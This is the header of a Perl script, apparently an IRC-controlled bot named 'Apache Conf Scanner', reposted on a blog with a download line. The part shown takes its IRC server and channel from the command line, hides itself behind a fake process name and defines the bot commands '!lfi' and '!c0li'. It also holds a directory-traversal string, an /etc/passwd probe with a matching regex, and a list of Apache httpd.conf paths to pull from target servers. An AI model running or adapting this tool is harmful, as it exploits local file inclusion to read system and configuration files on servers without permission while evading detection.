Apache Conf Scanner v1.0

################################

# Apache Conf Scanner v1.0

# Coded by Vrs-hCk

# d00r[at]telkom[dot]net

# Copyleft © 2009 VopCrew UnderGrounD

################################

use HTTP::Request;

use LWP::UserAgent;

use IO::Socket;

use IO::Select;

use Socket;

my $fakeproc = $ARGV[6];

$ircserver = $ARGV[0] unless $ircserver;

my $ircport = $ARGV[1];

my $nickname = $ARGV[2];

my $ident = $ARGV[3];

my $channel = '#'.$ARGV[4];

my $runner = $ARGV[5];

my $fullname = ' 15( 7@ 2Apache-Conf-Scanner 15) ';

my $lficmd = '!lfi';

my $alicmd = '!c0li';

my $status = 0;

my $null_byte = "";

my $trasversal = "../../../../../../../../../../../../../../../..";

my $lfi_test = "/etc/passwd";

my $lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";

my $conf_output = "server configuration file";

my @httpd_conf = qw (

/etc/httpd/conf/httpd.conf

/usr/local/apache/conf/httpd.conf

/usr/local/etc/apache/httpd.conf

/usr/local/etc/httpd/httpd.conf

/etc/apache/conf/httpd.conf

/etc/apache2/conf/httpd.conf

/var/www/conf/httpd.conf

/usr/local/httpd/conf/httpd.conf

);

my $success = "\n [+] Apache Conf Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";

my $failed = "\n [?] perl $0 \n\n";

Download di sini

Sumber antisecurity